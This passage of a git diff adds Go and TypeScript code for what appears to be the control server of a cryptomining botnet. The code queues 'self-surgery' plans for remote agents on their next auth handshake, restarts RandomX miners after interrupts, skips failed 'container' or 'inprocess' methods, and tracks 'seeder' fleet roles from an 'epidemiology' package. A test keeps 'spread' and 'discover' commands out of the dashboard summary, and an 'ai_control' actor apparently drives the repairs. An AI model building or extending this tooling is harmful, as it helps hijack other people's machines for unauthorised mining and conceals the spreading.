= true + } + } + if !hasTune { + t.Fatalf("actions=%v", plan.Actions) + } +} + +func TestDetectLowHashrate(t *testing.T) { + if DetectLowHashrate(epidemiology.StatsInput{MiningHashrate: 0}, 1) { + t.Fatal("zero hashrate is interrupt not low") + } + if !DetectLowHashrate(epidemiology.StatsInput{ + MiningHashrate: 0.4, + ActiveMethod: "inprocess", + }, 1) { + t.Fatal("expected low hashrate") + } + if DetectLowHashrate(epidemiology.StatsInput{FleetRole: "seeder", MiningHashrate: 0.1, ActiveMethod: "inprocess"}, 1) { + t.Fatal("seeder excluded") + } +} + +func TestReorderChainSkipsFailed(t *testing.T) { + order := reorderChainFromState(epidemiology.MiningInterruptState{ + FailedMethods: []epidemiology.MethodFailure{{Method: "container"}}, + }) + if len(order) == 0 || order[0] != "inprocess" { + t.Fatalf("order=%v", order) + } + for _, m := range order { + if m == "container" { + t.Fatalf("failed method still in order: %v", order) + } + } +} diff --git a/server/internal/miningsurgery/tracker.go b/server/internal/miningsurgery/tracker.go new file mode 100644 index 0000000..507fe70 --- /dev/null +++ b/server/internal/miningsurgery/tracker.go @@ -0,0 +1,162 @@ +package miningsurgery + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "sync" + "time" +) + +// SeerEvent is a read-only transcript row for the Seer page stream. +type SeerEvent struct { + Kind string `json:"kind"` + AgentID string `json:"agent_id"` + Payload json.RawMessage `json:"payload"` + Timestamp string `json:"timestamp"` +} + +// Reporter callbacks for Seer + oath ledger hooks. +type Reporter struct { + OnSeer func(event SeerEvent) + OnOath func(agentID, actor, actionType, strain, whyHash, outcome string, payload map[string]interface{}) +} + +// Tracker queues per-agent mining self-surgery plans (same host only). +type Tracker struct { + mu sync.Mutex + pending map[string]Plan + lastPlan map[string]Plan + seerEvents []SeerEvent + reporter Reporter +} + +func NewTracker() *Tracker { + return &Tracker{ + pending: make(map[string]Plan), + lastPlan: make(map[string]Plan), + seerEvents: make([]SeerEvent, 0, 64), + } +} + +func (t *Tracker) SetReporter(r Reporter) { + if t == nil { + return + } + t.mu.Lock() + t.reporter = r + t.mu.Unlock() +} + +// QueuePlan stores a composed plan for the agent's next auth pass. +func (t *Tracker) QueuePlan(plan Plan) { + if t == nil || plan.AgentID == "" { + return + } + t.mu.Lock() + prev, seen := t.lastPlan[plan.AgentID] + if seen && plansEqual(prev, plan) { + t.mu.Unlock() + return + } + t.lastPlan[plan.AgentID] = plan + t.pending[plan.AgentID] = plan + reporter := t.reporter + t.mu.Unlock() + t.emit(plan, "pending", reporter) +} + +// ConsumePlan returns and clears a pending plan for the agent's next auth handshake. +func (t *Tracker) ConsumePlan(agentID string) (Plan, bool) { + if t == nil || agentID == "" { + return Plan{}, false + } + t.mu.Lock() + defer t.mu.Unlock() + plan, ok := t.pending[agentID] + if ok { + delete(t.pending, agentID) + } + return plan, ok +} + +// RecordOutcome logs agent execution results to Seer + oath ledger. +func (t *Tracker) RecordOutcome(agentID string, outcome string, results []map[string]interface{}) { + if t == nil || agentID == "" { + return + } + t.mu.Lock() + plan, ok := t.lastPlan[agentID] + reporter := t.reporter + t.mu.Unlock() + if !ok { + plan = Plan{AgentID: agentID, Trigger: "self_surgery_report"} + } + payload := map[string]interface{}{ + "agent_id": agentID, + "trigger": plan.Trigger, + "reason": plan.Reason, + "actions": plan.Actions, + "outcome": outcome, + "results": results, + } + raw, _ := json.Marshal(payload) + event := SeerEvent{ + Kind: "mining_self_surgery", + AgentID: agentID, + Payload: raw, + Timestamp: time.Now().UTC().Format(time.RFC3339), + } + t.mu.Lock() + t.seerEvents = append(t.seerEvents, event) + if len(t.seerEvents) > 500 { + t.seerEvents = t.seerEvents[len(t.seerEvents)-500:] + } + t.mu.Unlock() + if reporter.OnSeer != nil { + reporter.OnSeer(event) + } + if reporter.OnOath != nil { + reporter.OnOath(agentID, "ai_control:mining_surgery", "mining_self_surgery", "", hashWhy(plan), outcome, payload) + } +} + +func (t *Tracker) emit(plan Plan, outcome string, reporter Reporter) { + raw, _ := json.Marshal(plan) + event := SeerEvent{ + Kind: "mining_self_surgery", + AgentID: plan.AgentID, + Payload: raw, + Timestamp: time.Now().UTC().Format(time.RFC3339), + } + t.mu.Lock() + t.seerEvents = append(t.seerEvents, event) + if len(t.seerEvents) > 500 { + t.seerEvents = t.seerEvents[len(t.seerEvents)-500:] + } + t.mu.Unlock() + if reporter.OnSeer != nil { + reporter.OnSeer(event) + } + if reporter.OnOath != nil { + payload := map[string]interface{}{ + "agent_id": plan.AgentID, + "trigger": plan.Trigger, + "reason": plan.Reason, + "actions": plan.Actions, + } + reporter.OnOath(plan.AgentID, "ai_control:mining_surgery", "mining_self_surgery", "", hashWhy(plan), outcome, payload) + } +} + +func plansEqual(a, b Plan) bool { + ab, _ := json.Marshal(a) + bb, _ := json.Marshal(b) + return string(ab) == string(bb) +} + +func hashWhy(plan Plan) string { + raw, _ := json.Marshal(plan) + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]) +} diff --git a/server/web/src/help/miningSelfSurgery.test.ts b/server/web/src/help/miningSelfSurgery.test.ts new file mode 100644 index 0000000..2095edb --- /dev/null +++ b/server/web/src/help/miningSelfSurgery.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from 'vitest'; +import { isMiningSelfSurgeryEvent, miningSelfSurgerySummary } from './miningSelfSurgery'; + +describe('miningSelfSurgery', () => { + it('detects mining_self_surgery seer events', () => { + expect(isMiningSelfSurgeryEvent({ event_type: 'mining_self_surgery' })).toBe(true); + expect(isMiningSelfSurgeryEvent({ event_type: 'surgical_replay' })).toBe(false); + }); + + it('summarizes trigger, actions, and outcome', () => { + const summary = miningSelfSurgerySummary({ + event_type: 'mining_self_surgery', + payload: { + trigger: 'mining_interrupt', + actions: ['container_restart', 'randomx_restart'], + outcome: 'ok', + }, + }); + expect(summary).toContain('mining_interrupt'); + expect(summary).toContain('container_restart'); + expect(summary).toContain('ok'); + }); + + it('never mentions spread commands in summary helper', () => { + const summary = miningSelfSurgerySummary({ + event_type: 'mining_self_surgery', + payload: { trigger: 'low_hashrate', actions: ['idle_threshold_tune'] }, + }); + expect(summary).not.toContain('discover'); + expect(summary).not.toContain('spread'); + }); +}); diff --git a/server/web/src/help/miningSelfSurgery.ts b/server/web/src/help/miningSelfSurgery.ts new file mode 100644 index 0000000..8eaa134 --- /dev/null +++ b/server/web/src/help/miningSelfSurgery.ts @@ -0,0 +1,21 @@ +import type { SeerEventRecord } from './seerEvents'; + +/** Seer feed row for on-host mining self-surgery (no spread). */ +export function isMiningSelfSurgeryEvent(event: SeerEventRecord): boolean { + return event.event_type === 'mining_self_surgery'; +} + +export function miningSelfSurgerySummary(event: SeerEventRecord): string { + if (!isMiningSelfSurgeryEvent(event)) { + return ''; + } + const p = event.payload ?? {}; + const trigger = typeof p.trigger === 'string' ? p.trigger : 'mining'; + const outcome = typeof p.outcome === 'string' ? p.outcome : ''; + const actions = Array.isArray(p.actions) ? p.actions.join(', ') : ''; + const base = `Mining self-surgery (${trigger})`; + if (actions) { + return `${base}: ${actions}${outcome ? ` → ${outcome}` : ''}`; + } + return outcome ? `${base} → ${outcome}` : base; +}